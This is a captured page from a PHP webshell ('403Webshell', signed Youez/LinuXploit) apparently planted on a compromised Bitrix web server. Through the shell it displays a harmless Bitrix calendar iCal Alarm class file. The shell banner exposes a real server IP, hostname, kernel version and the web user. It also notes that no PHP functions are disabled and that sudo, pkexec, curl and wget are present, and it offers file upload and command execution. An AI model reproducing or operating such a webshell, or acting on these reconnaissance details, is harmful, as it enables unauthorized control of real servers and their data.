403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/calendar/lib/ical/builder/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/calendar/lib/ical/builder/alarm.php
<?php

namespace Bitrix\Calendar\ICal\Builder;

use Bitrix\Calendar\ICal\Basic\BasicComponent;
use Bitrix\Calendar\ICal\Basic\Content;
use Bitrix\Calendar\ICal\Basic\DatetimePropertyType;
use Bitrix\Calendar\ICal\Basic\PropertyType;
use Bitrix\Calendar\ICal\Basic\TextPropertyType;
use Bitrix\Calendar\ICal\IcsBuilder;
use Bitrix\Calendar\Util;
use Bitrix\Main\Type\DateTime;

final class Alarm extends BasicComponent
{
	public function __construct(
		private readonly string $type,
		private readonly string $value,
		private readonly string $message = '',
	)
	{
	}

	public function getType(): string
	{
		return 'VALARM';
	}

	protected function setContent(): Content
	{
		$content = Content::getInstance($this->getType())
			->textProperty('ACTION', 'DISPLAY')
			->property($this->resolveTriggerProperty())
		;

		if ($this->message)
		{
			$content->textProperty('DESCRIPTION', $this->message);
		}

		return $content;
	}

	private function resolveTriggerProperty(): PropertyType
	{
		$property = null;

		switch ($this->type)
		{
			case 'DURATION':
				$property = new TextPropertyType('TRIGGER', $this->value);
				break;
			case 'DATE-TIME':
				$dateTime = Util::getDateObject(
					date: (new DateTime($this->value, IcsBuilder::UTC_DATETIME_FORMAT))
						->format(IcsBuilder::DEFAULT_DATETIME_FORMAT),
					fullDay: false
				);
				$property = new DatetimePropertyType(
					names: 'TRIGGER',
					dateTime: $dateTime,
					withTime: true,
					withTimezone: false,
					isUTC: true
				);
				break;
		}

		return $property;
	}

	public function getProperties(): array
	{
		return [
			'ACTION',
			'TRIGGER',
		];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit